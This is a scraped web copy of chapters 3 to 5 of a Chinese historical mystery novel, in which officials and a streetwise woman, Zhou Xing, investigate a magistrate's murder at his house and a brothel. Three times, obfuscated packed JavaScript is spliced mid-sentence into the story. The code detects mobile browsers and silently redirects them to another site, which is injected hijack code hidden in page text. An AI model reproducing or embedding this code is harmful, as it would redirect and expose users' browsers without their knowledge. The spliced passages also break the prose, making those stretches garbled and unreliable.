《荒腔走板》 3. 俗民周幸 风尘仆仆赶路两日,几人俱已疲惫,大致了解情况后便未多聊,各自散去回住处休息。 隔天一大早,冯宗来拜见,说是要先去茶楼与他请的帮手会面,齐煊等人本应先去许宅探查,但赵恪却不知抽什么风,突然提出与冯宗同去。岭王见状便也半道改了主意,屈尊降贵地坐在茶楼里等候。崔慧则不愿与赵恪同行,留在县衙调取卷宗,只派了随身护卫随同。 时辰虽早,茶楼却热闹。送茶的伙计来回穿梭,等活儿的工匠也聊着各种杂事,还有些半大孩童嬉闹,以及街头偶尔传来叫卖,郸玉县已然在寒冬的早晨苏醒。 提起这位奇人,冯宗的夸赞就如悬河瀑布般倾泻而出,用尽赞美的词汇,仿佛他请来的不是一个凡人,而是什么大罗金仙的转世。 但陆酌光据经验所得,“无所不知,无所不晓”之类的形容,多为引荐人的夸大其词,当不得真,因此他没有表现出丝毫兴趣,只是低头翻阅书卷,端的是一本正经地热爱学习。 冯宗还在滔滔不绝地细数他请来的“大罗金仙”生平事迹:“不知祖上何处,只知是前些年因北方饥荒逃难而来,在县中落脚后没多久就混得风生水起,结交甚广,与谁都能攀上一二交情,只要在郸玉县内,就没有其去不了的地方,办不成的事儿。有些下九流的场所,泼皮无赖极多,未必买衙门官府的账,但是有此人在,应对起来就简单许多。” 赵恪奇道:“到底是什么人物?当真这般厉害?” “此人姓周,单字一个‘幸’。”冯宗正说着,朝门口看了一眼,顿时站了起来,“来了。” 几人早已被勾得满心好奇,此时不约而同抬头望去,就见有一人像是被寒冬腊月里凛冽的风刮了进来,轻飘飘地迈过门槛。 不是什么魁梧强壮的江湖人,也并非阅历深厚经验老道的长者,她出乎意料的年轻,裹着素青色的棉袍,一张脸也不知是天生的肤色还是冻的,苍白得少见血色。长发随随便便用发带扎着,眉眼轮廓稍深,与郸玉县一带五官扁平的普遍模样相去甚远,明晃晃能看出是外来人士。 她缩着脖子搓着手进门,口中念念有词,约莫是抱怨刺骨风寒,刚一进门就碰见了熟人,与人笑眯眯地打起招呼,脚步挪动间探出了不老实的爪子,先是顺手捋了小孩的脑袋一把,将发丝揉得支楞八叉,又从掌柜面前的盘子里顺了一把花生,一番动作行云流水。 不管是等活儿闲聊的工匠,还是顶着一脑门乱发的孩童,就没有她搭不上话的人,已然展现出冯宗口中所描述的“结交甚广”。进门才一会儿的工夫就忙成了陀螺,嘴也没停过。 待行过了热闹的区域,她抬眸一扫,总算是瞧到了角落里等候的几位大人,当即加快了脚步行至桌前。 到了近处才让人发现,她其实比寻常女子的身量要高一些,只不过站姿太过松散而不大明显,耳边和颈子处有些许零散的碎发,因此尽管她面容白净,衣着完整,人也显出几分潦草和邋遢。 冯宗见了她如见救星,双目射出亮光,凑过去以几不可闻的声音低声道:“周幸,先前咱们说好的,你可要救我,我的小命现在就攥在你手里了……” 茶楼人声鼎沸,谈笑声此起彼伏,越发喧闹。“两耳不闻窗外事,一心只读圣贤书”的陆酌光却在此时忽而抬头,淡淡的目光看向冯宗,一掠,又落在周幸身上。 “大人言重了。”周幸含着笑,正唇齿含糊地说悄悄话,许是常年眼观六路耳听八方练就的能力,她立即察觉到余光这一抹动向,下意识偏头望去,与身着白衣的读书人对上视线。 这打量如蜻蜓点水,仿佛是极其不经意的一眼,陆酌光很快又低头看书。 周幸停步桌前,双手一拱,腰板娴熟地弯下去:“小人周幸,拜见王爷、赵大人——”她转向专心看书的陆酌光,面露迟疑,“这位是……崔大人?” 陆酌光合上书,抬头与她相望,还未开口,冯宗便抢先一步介绍道:“他是陆秀才,与赵大人一同来的。” 周幸登时一脸恍然大悟:“难怪单是看起来就博学多识,才高八斗,原来是位秀才,久仰久仰。” 连名字都不知道,也不知在久仰个什么劲儿,但这句夸赞显然也让陆酌光很是受用,他眉眼轻弯,笑意顿生,温声回:“过奖。” 赵恪早已将她上下打量好几遍,满脸失望,冷声嗤道:“冯县丞真是让本官白期待一场,这便是你口中那神通广大,无所不能的奇人?你当查案是儿戏,什么阿猫阿狗也能进来掺和一脚?” 冯宗心里也清楚,就周幸这邋里邋遢的鸟样,任谁来见都不觉得她有什么神通在身上,为了防止这二位大人将人撵滚蛋,他急忙跳出来,从中调和:“下官自是不敢胡来,只是若要查明此案,周幸必有大用,还望赵大人给能个机会。” 说着,他朝周幸使了个眼色,暗示这个杵在边上的人为自己争取两句。周幸轻叹一口气,低眉顺眼道:“小人是县中一闲人,平日里跑街头混口饭吃,故而在打探消息方面比别人有些本事。昨日冯大人交托于小人的要事已经办妥,今日查案必用得上,倘若大人觉得没用,再将小人打发走就是了。” 她姿态虽显讨好,却并不卑微,不显过度谄媚,谈吐间反而有股让人舒适的从容,加之说话时带着笑,倒令人不大在意她那略显潦草的扮相和随意的站姿。 齐煊思及他们此次来郸玉本着从简出行并未带多少人,人手够不够暂且不说,他任职刑部尚书,明白要查案自少不了市井百姓的相助,许多信息从衙门是没法获知的。他收起审视的神色,松口道:“冯宗对你赞不绝口,说有你相助,调查许知县被害一案便会事半功倍,别让本王失望。” “王爷既然同意,本官也不好阻拦。”赵恪站起身,笑眯眯地冲周幸道,“那你可要仔细点,倘若办砸了事,当心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986049|193634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的皮。” 周幸连忙应是,躬身将路让开,并积极道:“得王爷青眼是小人的荣幸,定当全力以赴助王爷查案。” 几人出了茶楼,前往许宅。宅门挂起白幡,屋中下人早已被遣散,只余下几个伺候后院的许夫人和小妾,显得整个宅子空寂而凄凉。 书房及前堂等地方先前被衙门查封,这几日都派人看守,确保所有东西都是许奉被害时的原模原样。宅中的下人也早已审问过多次,说是当时许奉回来时怒气冲冲,衣袍上有污浊的痕迹,直接进了书房,还吩咐过任何来客都不接见,直到晚饭时间,下人才发现他在屋中身亡。 封条撕开,方一进门就见满地米面的碎金银、铜板,书房内陈设简约,东西一概摆放整齐,更显得许奉死时溅射出的血液触目惊心。即便血液早已干涸发黑,空中浓郁的血腥味依旧散不去,齐煊只看一眼,立即红了双目,站于桌前久久不语。 赵恪由冯宗陪同,去其他地方探查。陆酌光对书房更为好奇,没有跟随。周幸则在书房内外打转。 她应是第一次进县官的宅邸,像头回进城的山里人一样,忍不住东张西望,那双不大安分的爪子很快就蠢蠢欲动,先是摸摸柱子上的雕刻,又摸摸白玉灯,甚至还将角落里的断头鸡给拎了起来。 因天气寒冷,这鸡尸冻得硬邦邦,没有腐败的迹象,她便说要拿回去炖煮,就算不能给人吃,喂狗也是好的,总好过浪费。不过被门口的侍卫瞪着眼睛呵斥不可乱动之后,她又悻悻放下。 周幸被房中浓郁的血腥味熏得打了个喷嚏,便转至门口,又被扑面的寒风冻得缩起脖子,双手也揣进棉袖之中,像坨软烂的泥巴倚在门框上,打了个百无聊赖的哈欠,耷拉起眼皮,不经意流露出几分困倦。 陆酌光在屋内看了一圈,停在桌旁。除却当时破门而入砸坏了门栓之外,其他窗口没有半点被破坏的迹象,桌上摆放着书和文房四宝,另有一盘糕点。四方格的盘子,其他格子是满的,唯有盛放雪花糕的格子少了两块。 他将剩余的一块雪花糕拿起来闻了闻,又放回去,忽而抬头,看向黏在门框上的周幸:“周姑娘,这城中有没有戏台子?” 周幸那懒怠的眼皮一掀,神色在刹那间掠过细微的变化,她转过身望着陆酌光,似笑非笑:“郸玉县禁戏。先前有个百年老戏楼被拆了后,就再没建过新的。” “为何?”陆酌光还没听说过什么地方禁戏的,不由疑惑,往前走了两步,停在窗边,朝阳的光透过窗子照进来,正落在他身上。 这腊月天,郸玉的寒风比之京城更甚,人人都裹着厚厚的棉衣,唯有陆酌光穿得单薄,衬出颀长的身体,陈旧的白衣画上雕窗的影子,将他的面容也照得白净文雅,更显眉眼浓稠如墨。 周幸像是这会儿才发现此人生了张惊为天人的俊脸,直勾勾地盯着他瞧:“陆秀才若是想知道,不妨出来说。” 4.青楼老鸨 陆酌光不明白为什么问个问题还要挪个地儿才能说,但又实在是好奇,于是照做,出了书房后跟着周幸行了几步,站在避风的檐廊下。 他希望能周幸少说闲话,快速且简洁地回答问题,但周幸从扮相上看就不是利落干脆的人,更生了一身软骨头,走在门边就倚门框,停在檐廊下就趴栏杆,慢悠悠地朝院中眺望:“陆秀才是京城人士?” 陆酌光轻敛眼睫,将她那不大端正的站姿收入眼底,温声道:“只是在京中长大。” 周幸追问:“以何事谋生呢?” 陆酌光答:“暂寄食赵家,充当门客。” “素闻达官贵族门下大多会养着闲散门客,只是要求苛刻,寻常凡庸难入贵人之眼。” 周幸转了个身,手肘抵在栏杆上,背靠满院盛开的梅花,充满期待地问:“想来陆秀才也定有一技之长,才能成为众多门客之中的翘楚,得赵家重用。” 那眼神殷殷切切,好似只要陆酌光一点头,她就会立即央求他来一段才华展示。 陆酌光嘴角噙着微笑:“我念书厉害。” 周幸心说这也能算一技之长?那我吃饭厉害岂不是也能傍个世家大族当门客去? 她这话在肚子里转了一圈,没出口,只是问:“怎么个厉害法?” “我念书快,并且口齿清晰,字认得全。” “要不说你能考上秀才呢,我们老家那十里八村都找不出一个像你这般念书厉害的人。”周幸一箩筐奉承的话信手拈来,夸得真心实意,叫人看不出半点敷衍,继而话锋一转,“你爱听戏?” “闲时略听一二。”陆酌光轻点头,顺着话问,“郸玉为何禁戏?” 周幸眉梢微动,挑起一丝不正经的戏谑:“这与许知县的一段风流往事相关,方才叫陆秀才出来说,也是不想在死者走的地方嚼舌根。” “听说是许知县刚来郸玉上任时,经常去戏楼听曲儿,一来二去就与那戏班子里的当家女旦看对了眼。 只是戏子薄情,许知县为她花了不少真金白银,那女旦转脸就要与许知县断了来往。堂堂一知县自然做不出强抢民女的恶行,最后只得把气撒在戏楼上,随便找了个由头让人砸了戏楼,并且从此恨上了唱戏的,下了明令禁戏,所以多年来郸玉就再没建过戏台,更没放过任何戏班子进城来。” 陆酌光听了这一则堪称丑闻的韵事,并未露出惊讶神色,过了会儿才慢吞吞地评价:“许大人倒是性情中人。” “可不是么,年过半百的人了,比我们这些年轻人都意气用事呢。”周幸懒忽而压低了声音,语气染上些许神秘,“眼下城内已经没有戏台,不过我倒是知道个地方,还能听人唱个几句。” 陆酌光看着她的眼睛,才发现她的眼珠不如寻常人那么黑,偏褐色,经日光一照,更像琥珀石:“什么地方?” “风月楼。” 这名字一听就不是什么正经之地,陆酌光刚要推拒,身后忽而传来低声:“陆秀才。” 二人同时望去,就见一年轻侍卫快步而来。那侍卫容貌端正,皮肤有着风吹日晒的麦色,因面上没什么表情而显得冷肃,是赵恪身边的侍卫头领李言归。 他停在陆酌光面前,先审视般看了看周幸,随后才道:“方才得了新报,有人曾目睹许知县被害前从青楼后门出来,公子现在要去青楼查案,差我来传你一同前去。” 许宅已经被衙门探查过数次,冯宗带着人恨不得掘地三尺找线索,因此书房等地方的情况与卷宗上记录得一模一样,分毫无差,再得不到什么新的信息。 齐煊纵心有不甘,也只得作罢,正逢赵恪派出的探子报来新线索,一行人便匆匆离开许宅。 因并非去饮酒作乐,为保证查案顺利,齐煊命人去县衙批搜查令,却被周幸阻拦。她听说要去风月楼,当即一拍大腿,毛遂自荐:“巧了不是,这地方我熟啊,不必拿搜查令,我领你们进去,保证一路畅通无阻!” 几人并不知周幸是个什么人才,提起风月楼像是在说自家后院,不由面露怀疑,然周幸信誓旦旦,并不像吹嘘,竟直接领着几人,直奔青楼的“密道”。 风月楼是城内最大的青楼,但并没有多么气派豪奢,拢共二层高。门口挂着俩褪色的大红灯笼,当间则是一块晕了墨迹的牌匾,写着龙飞凤舞的“风月楼”。 青楼的“密道”鲜为人知,置于一出窄小的巷子里,仅供两人并肩而行,巷口只要停一辆马车,就能挡得严严实实,十分适合偷鸡摸狗。 几人从后门而入,侍卫分列两排欲往前开路,周幸忙小跑几步拦在最前头,赔笑道:“各位大人,青楼里多是柔弱女子,这些侍卫英勇不凡,如此进去恐怕会吓到她们,不如先在楼下等候?” 齐煊摆了摆手,只带了侍卫上楼,令衙役在楼下候着。其后周幸在前头带路,她是这地方的熟客,刚进门就有小厮迎上来点头哈腰叫了声“幸姐”。 周幸往他手里塞了几文钱,叫人去将老鸨请来,而后带着几人上二楼雅间,房间不大,但陈设雅致,干净整洁。 “这里的姑娘都有一把好嗓子,缨娘更是琴技无双,什么曲儿都会唱,郸玉禁戏前常扮青衣,不过如今当了老鸨已经不卖艺了,只来了兴致时才会开嗓。” 周幸殷勤地给几人倒茶,转至陆酌光面前,她动作明显变慢了,还亲自将茶杯放在他面前,微微倾身过去,低声道:“我与她交情不错,陆秀才若是想听戏,我去与她求上一求,也不算难事。” 说着还动起了手,往陆酌光的手背上摸了一把。他不动声色将手往后一撤,抿着笑意婉拒:“多谢周姑娘好意。” 她这眼神毫不掩饰,瞬间就让一旁的齐煊三人看出端倪。 冯宗想着周幸平日里虽然不大正经,但好赖分得清正事,怎么这会儿就色迷心窍到在京城里来的大人面前耍混,见状赶忙握拳掩在嘴边,使劲咳了一嗓子。 齐煊一心要查案,对这些鸡零狗碎的小事没心思关注。 倒是赵恪来了兴致,道:“酌光兄这张脸的确生得出色,在京城也颇受追捧,前两年来我朝觐见的女族长一眼就相中了他,私底下派人上门数次向我讨要,还不惜想以重金将他买走当面首。” 周幸面露讶异,将陆酌光看了又看,笑眯眯道:“哪里来的女族长,竟这般肤浅,陆秀才的才情胜过皮相百倍,去那小小荒蛮之地当面首,实在屈才。” 赵恪哼笑:“难说,当初若是愿意跟着去了,好赖也是跟着女首长去草原吃香喝辣,总好过让水沟里的癞蛤蟆盯上。” 周幸并不在意这话里的阴阳怪气,只是望着陆酌光轻笑:“草原风烈,但愿陆秀才更中意乡间清泉。” 陆酌光似不适应这样被人大喇喇戏谑,耳朵染上不大明显的薄红,摇着头不言,干脆拿出了一本书,沉溺在知识的海洋。 周幸转头去点了炭火,又往暖炉上方撒了一把香粉,站在暖炉旁搓着手掌取暖。 房中很快升起暖意,驱散冬日的严寒,浅淡的清香在空中蔓延,楼下的琴音若隐若现,让人不由自主地放松下来。 不多时,雅间的门被推开,一女子踏着金莲寸步而来,盈盈一拜:“奴家陶缨,拜见冯大人。我风月楼内皆是踏踏实实做事之人,姑娘们更是胆小如鼠,绝不会行违法之事,不知衙门来此所为何事?” 陶缨瞧着有三十来岁,绾着精致的发髻,乌黑的长发中以珠钗为点缀,梅花色的衣裙衬得她粉面含春,虽并不年轻了,但也极其美丽。 周幸不知从哪里摸出一把瓜子,呱嗒呱嗒地嗑着,飘到陶缨身旁,说:“缨娘别慌,冯大人今日来是为了调查许知县被害一案,你只需把与许知县相关的事如实说出就好,不会为难你的。” 陶缨不认识京城来的齐煊、赵恪二人,也并非头一次与冯宗打交道,以为还是像从前那样走个过场问话,便姿态熟络地问起闲话:“现在外面都在传许大人是被阴差索命,是真是假啊?” 周幸提起这鬼神之说也颇为忌惮,下意识放轻了声音:“说不准呢!谁知道这些事儿,都说年底乱阴气重,什么魑魅魍魉都跑出来作乱,反正我每日出门前都要拜一拜菩萨,免得沾上不干净的东西。” “你家那是菩萨吗?不是泥巴捏的土地爷?” 周幸叹气道:“前些日子不是下大雨嘛?瓦顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995693|193634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漏水,把土地爷淋化了,那泥巴是我从寺庙的墙根抠来的,舍不得扔,就重新捏成了菩萨。” 这说的都是什么乱七八糟的。齐煊眉头一拧,当下就要发作,冯宗窥其神色,立即杀出来打圆场,呵斥道:“你这无知妇人休要胡言!许大人是郸玉百姓的父母官,一心为民鞠躬尽瘁,便是当真有阴差现世,也不可能索许大人的性命,他是被歹人作恶害死,我等今日来便是要查明此案,将凶手捉拿归案!” 他这番话说得正气凛然,好似昨夜跪在地上哭爹喊娘,说许奉被阴差索命而死的人不是他一样。 陶缨立即赔笑:“是呀,咱们许大人多好的官,就算无常勾魂,也该勾走昨儿睡了姑娘不给钱就跑的无赖。” 她惊觉氛围不对,不敢再闲话,说起正事。许奉来青楼的次数并不少,在风月楼中也不是秘密,只是他每次来都坐着马车从后巷进,直上二楼雅间,所以没多少外人知道,几人此刻所在的房间便是许奉常年听曲消遣之地。 被害那日,他像往日一样来听曲,只是不凑巧他平日喜欢的姑娘让别人点走了,那人还是泠州知府的表侄,官压许奉一头,许奉无法与之争抢,陶缨就安排了新来的姑娘伺候,不成想这新来的姑娘笨手笨脚,将酒水洒在许奉的身上,将许奉气得大声斥责,拂袖而去。 陶缨话说至此,突然顿了顿,欲言又止,这细节的神情让其他几人都看在眼里。周幸捻了个果干扔进嘴里,口齿含糊不清地劝道:“缨娘,事关重大,还望你能知无不言,切莫隐瞒。” 陶缨道:“倒不是我有意隐瞒,只是那些是许大人醉后之语,不知能否当真。说起那泠州知府的表侄李大人,几年前还与许大人有过龃龉,是城内人人都知道的事。 当初许大人在城内明令禁戏,此人却不知为何非要在城外郊地买了块地搭戏台,虽说那地势不大好,戏台搭一半自己塌了,此后便作罢,但许大人耿耿于怀。 数月前,许大人来楼中喝酒贪杯而醉,曾无意间说起泠京那条大运河上贪污贿赂的勾当盛行,随便捞点油水都够他在郸玉盖金屋,可恨他在这贫瘠之地为官,什么都捞不到,比之李大人差得太远……” 说者无意,听者有心。陶缨显然没意识到自己说了多么胆大包天的话,在场几人脸色同时一变,齐煊更是大动肝火,厉声打断她的话:“放肆!构陷朝廷命官,你有几个脑袋够砍?” 陶缨吓得一哆嗦,却见冯大人满脸惊惧,她当即意识到自己说了错话,双膝一软跪了下来:“大人息怒,方才不过奴家失言,大人莫要怪罪!” 泠州的大运河从南到北横跨整个大齐,涉及多地,陶缨一句“贪污贿赂盛行”,可谓将千百官员身上都泼上脏水。 更何况她又说这些话出自许奉之口,天大一口锅扣在老师的头上,齐煊当然动怒:“老师是清正廉明之人,从前在京城时就洁身自好,从不踏入这等风月场所,本王现在怀疑你口中言他常来此地是诽谤,许是你们用了什么手段才将他引来。来人!将此人押回去,好好审问当日许大人究竟为何事为来,又因何事恼怒离去。” 陶缨是没见过世面的青楼女子,不禁吓,一听一口一个“本王”,还要将她押回去审问,当即抹了泪水哭着求饶。冯宗也站起身,硬着头皮劝道:“王爷息怒!” 屋内霎时乱了,哭声与劝言混在一起,周幸揣着袖子缩在角落,佯装自己是一根柱子。 “慢着。王爷别急,我有法子分辨她所言真假。”赵恪摆了下手,制止了侍卫的动作,对陶缨道,“过来。” 陶缨颤着柔弱的身子膝行几步,跪到赵恪面前,被他捏着下巴抬起。陶缨生了张浓艳美丽的脸,有着风月场上见惯的多情妩媚,泪眼朦胧时睫毛上挂满晶莹的水珠,我见犹怜。 赵恪垂着眼玩味打量,忽而对身旁的人问道:“酌光兄,你觉得她说的是真话还是谎言?” 陆酌光求知若渴,从拿出书之后就认真研读,对屋中的纷闹充耳不闻,专心致志,此时听了赵恪的话才慢慢抬起头。 他不徐不疾地合上书,黑眸温润平和,盯住了陶缨的眼睛,缓声道:“你不必害怕,我只问你一个问题。” 5.学术交流 周幸本来一门心思装柱子,这会儿听到陆酌光开口,才探出脑袋瞧。她也十分好奇,这秀才会问出什么问题。 只听他道:“许大人平日最常吃的糕点是什么?” 这问题叫人大失所望,毫无缜密可言,像是随口闲聊,周幸又缩回去。 陶缨不明白他为何问这么个不相干的事,但也来不及思索其他,下意识回道:“雪花糕。” 陆酌光偏着头沉默,也不知在做什么,过了会儿才对赵恪道:“陶姑娘所言为真,许大人的确常来风月楼。” 齐煊将疑惑地审视他,见他竟不是说笑,便问:“你是凭何断定的?” 陆酌光笑而不语,赵恪却接话道:“王爷有所不知,我这兄弟有独门秘技,能分辨别人话中真假。” 齐煊的眉毛拧起来能夹死豆大的苍蝇,一时竟不知如何回应。 好像自打来了郸玉之后,他的两耳就灌满了荒唐之言,昨夜有个“阴差索命”,今日又来个“分辨真假的独门秘技”,秀才读了几本书,当上老神仙了,下回指不定来个掐指一算悬案就能告破的仙人。 赵恪这浪荡子本就不可信,更何况他身边这个秀才十分装神弄鬼,怪异得很,看个书半天都不翻页,像是字都认不全一样。齐煊没有说话,思量着将这老鸨押回去细细审问。 齐煊疑虑不消,仍下令抓人,在角落里装了老半天柱子的周幸终于动身,上前几步,作揖请罪道:“王爷,小人与缨娘几年的交情,深知她不是信口胡诌之人,也是为了早日查明许大人究竟因何被害才斗胆将此事说出,倘若她为撇清关系什么都不说,一辈子烂在肚子里也无人知道。况且那都是许大人酒后醉言,王爷听一耳朵便罢,不必当真,她们也绝不敢去外头乱言。至于许大人是否常来风月楼,那许宅的下人,驾马的车夫和楼中的小厮姑娘们,无一不是人证,随便一问就能得知真假。” 齐煊道:“那便全押回去,一一审问。” 周幸先前脸上苍白得过分,进屋后在暖炉旁烤了许久,此刻脸上才见了血色,有了些活人气儿。她敛着眼皮,遮住褐色的眼眸,一副战战兢兢的谨慎模样:“万万不可,若真是都抓走,外人不知内情,这青楼以后怕是没人敢来了。陆秀才都说缨娘所言为真,即便王爷不信陆秀才,也该信赵大人的判断才是。缨娘一介柔弱女流,往衙门的牢房走一趟,少不得要吓没半条命,还望王爷能饶恕她一时失言。” 赵恪也已然看出来,这位岭王本不是动辄生气的人,平日情绪还算稳定,但只要听到有人说起许奉的劣迹,他就立即怒发冲冠,拿人问罪。昨夜要砍县官,今日还要将青楼里的人都抓回去,明日还不知要抓谁,县衙就那么大点,能关几个人? 于是他也跟劝:“不错,酌光兄是连我爹都倚重的门客,断不会在正事上胡言乱语。我知道王爷与许知县感情深厚,为查明案子而心急,但咱们要捉的是凶手,倘若抓了无辜的人回去,岂非有损王爷的威名?” 赵恪顿了顿,看向陶缨,暧昧一笑:“再说这小娘子生得貌美如花,若进了牢房,能不能完好出来也难说。” 齐煊黑着脸,忍不住呵斥:“你当县衙是什么地方?” “是我胡言乱语,王爷莫当真。”赵恪嬉皮笑脸地请罪。 其后冯宗与赵恪轮番上阵,好言相劝,加之陶缨竭力认错,再三保证这话从未对旁人说过,日后也绝不会再提,最终没让齐煊掐着脖子押回衙门去。 赵恪让陶缨下去,门一关上,他便道:“王爷以为如何?” 陶缨不过一个小地方的青楼女子,或许此生都没踏出过城门,方才那番话断不是她能说出来的,出自许奉之口十有八.九。 朝中腐败贪污的现象自古便有,大运河的审查本就比陆地松泛,更易钻空子,因此说贿赂之风盛行也并非毫无根据。许奉若是没有听说什么,或是掌握证据,也说不出那种断言,他的死可能与这些事有干系。 这是二人心照不宣之事。 可若是沿着这条线索往下追查,先牵涉的便是泠州知府的表侄,再查深了保不齐还有什么张大人、李大人的徇私枉法,显然这是条查不通的死路。 冯宗见齐煊神色忧虑,应是进退两难,便贴心道:“王爷,此事倒不急下定论,下官先前在调查那个被小妾的丫鬟所指认的奸夫时,曾带人去赌坊盘问,只是那地方实在太混杂,没能问出什么,无奈之下便托了周幸帮忙,她与赌坊东家是结义兄妹,能请来东家相助,将当日那奸夫在赌坊的情况盘查清楚,不如先去赌坊瞧瞧?” 周幸便适时上前作揖,表示早已安排好,只等各位大人莅临赌坊。 出了雅间,陶缨仍候在门口,垂低着头恭敬将几人送到直通后门的楼梯。周幸一离开暖炉,整个人就冻得缩起来,像个萎靡的泥人。 其他人走在前头先下楼梯,周幸见陶缨双眼红红,情绪低落,便有意停下,揣起手倚在楼梯处,与她小声说话:“缨娘,那睡了咱们风月楼的姑娘就跑的人姓甚名谁,你告诉我,我叫人抓来,让你抽一顿泄愤。” 陶缨吸吸鼻子:“哪能犯得着请你,我早就叫楼里的护院抓了,便是一文钱也不能让他少给。” 周幸凑近了她,抱起拳:“缨娘真是可靠,叫人信赖,周某佩服。” 这玩笑话让陶缨破涕为笑,葱白的手指往她肩上推了一把,轻声说:“我无妨,忙你的去吧。” 周幸一笑,这才转身连步下了楼梯,一出巷口,就见齐煊等人还未上马车,被一个身裹锦衣棉袍,长得肥头大耳的中年男子拦在路边。 那男子正躬身拜礼,口中道:“下官吕鸿,是新上任的郸玉知县,本应前天就该赶到,但雪路难行,路上不得已耽搁了几日。下官刚进城就听闻王爷与赵大人在此处查案,匆匆赶来拜见,幸而及时,没错过两位大人。” 周幸眯起双眸,将吕鸿上下打量,怀疑此人上炕都费劲,肥硕得像待宰的年猪。抬起脸来,更是与身材无比相配的面容,双颊的肉鼓囊囊,挤得眼睛化作一条狭长的缝,鼻子两侧夹着深沟,一笑,满口谄媚的牙:“王爷与赵大人真是英俊潇洒,天资不凡,下官此次能协助二位查案,实乃三生之幸,祖坟冒青烟!” 齐煊本就心绪不佳,也早就听腻了这种话,便无心寒暄,只颔首为应,随后上了马车。 吕鸿并不介怀,又道:“大人一上午都在忙着查案,天寒地冻的,可不能空着肚子奔波,眼下正是午膳时间,不如由下官做东,先请二位用饭,喝口热汤。” 赵恪正好也觉得肚子饿,又因他方才那句“英俊潇洒”给讨了欢心,笑道:“吕大人有心了,那就去喝点热酒暖暖身子。” 吕鸿并不知陆酌光是个受赵家看重的门客,只当他是寻常高门附庸,又忙着攀关系献殷勤,于是存心往前挤,紧跟着赵恪后面上马车。 陆酌光对他肥硕身躯颇为忌惮,立即往后退了两步,正给他腾出了位置。 那马车本就狭窄,吕鸿一上去约莫也没什么位置了,被挤走的陆酌光眉眼依旧舒展温和,一副好脾气的模样,转而上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001221|193634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了后头的第二辆马车。 冯宗已经在马车内坐好,陆酌光上车后向他颔首揖礼,才刚落座,周幸就飞快掀起帘子进来,搓着双手呵气,丝毫不见外地挨着陆酌光就坐下了。 寒风吹乱了她的发丝,方才在屋中生出的一点血色也褪尽,她的脸又白得不见异色,像是没有杂质的白瓷。这座椅两人坐绰绰有余,但周幸偏偏要挨着陆酌光。陆酌光挪一点儿,她便追一点儿,脸皮厚得出奇,眼看就要贴上车壁,他只得作罢。 冯宗见这一男一女都尚年轻,容貌也极为登对,若谈风月倒也合适,更何况他还有求于周幸,因此不好棒打鸳鸯,于是闭上双眼,打算不管听到什么都不睁眼,佯装自己不在场。 马车还没动,周幸果然迫不及待开口:“陆秀才当真有判断别人是否说谎的秘技吗?” 周幸穿得厚,棉衣柔软,应是之前在青楼里撒香粉的时候沾了点,陆酌光闻着那若有若无的浅香,回道:“骗人是费心思的功夫,如果是一早就设想好的谎言,的确不容易看出端倪,但藏在细枝末节里的表现无法作伪。我先前在许知县书房的桌上看到糕点,只有雪花糕被吃而其他未动,临终前都要吃两块,可见许知县独爱雪花糕。方才陶姑娘答得干脆,且神色未有变化,显然不是说谎。她既然知道许知县常吃的糕点,便足以证明许知县的确常去风月楼。” 周幸微微睁大双眸,惊讶道:“许大人知道自己要死?” 陆酌光反问:“他若不知道,何故将门窗从里面紧锁?” “是有这种可能……他或许是知道有人要杀他,所以躲进了书房,反锁门窗。”周幸沉思,喃喃自语,“那凶手究竟是怎么进去的呢?” 陆酌光没有接话,眼看着马车内要归于安静,周幸又开口:“陆秀才如此博学多闻,细心敏锐,何以屈身门客,未曾想过考取功名,走上康庄仕途?” 虽说他跨进了达官显贵的门楣,但门客到底只是附庸,仰人鼻息,看人脸色生活,说好听点是谋士,说难听点是走狗也不为过。 “‘人生而有欲;欲而不得,则不能无求;求而无度量分界,则不能不争;争则乱,乱则穷。’欲望天生,当无法得到满足时,便会奋起追求,倘若追求无有界限则必起争端,人一旦被渴望追寻的欲望掌控,定会陷入困境难以脱身,所以欲望越大,困境越深。”陆酌光衣衫雪白,眉眼含笑,讲话好似春风细雨,“陆某不才,身无长物胸无大志,此生识过字读过书,得个秀才之名足矣。” 陆酌光说完,才意识到自己说得有些多,以往这般长篇大论多会引人反感,反倒笑话他“掉书袋”,满口酸话。他露出歉然的表情刚想致歉,不承想一偏头望进专注的褐色眼睛里——周幸出乎意料地听得认真。 她抱拳钦佩道:“听君一席话,胜读十年书,陆秀才既有真才实学,又如此淡泊名利,实在叫人仰慕。” 陆酌光心情愉悦,难得有了兴致主动与别人闲聊:“周姑娘平日里喜欢读什么书?” 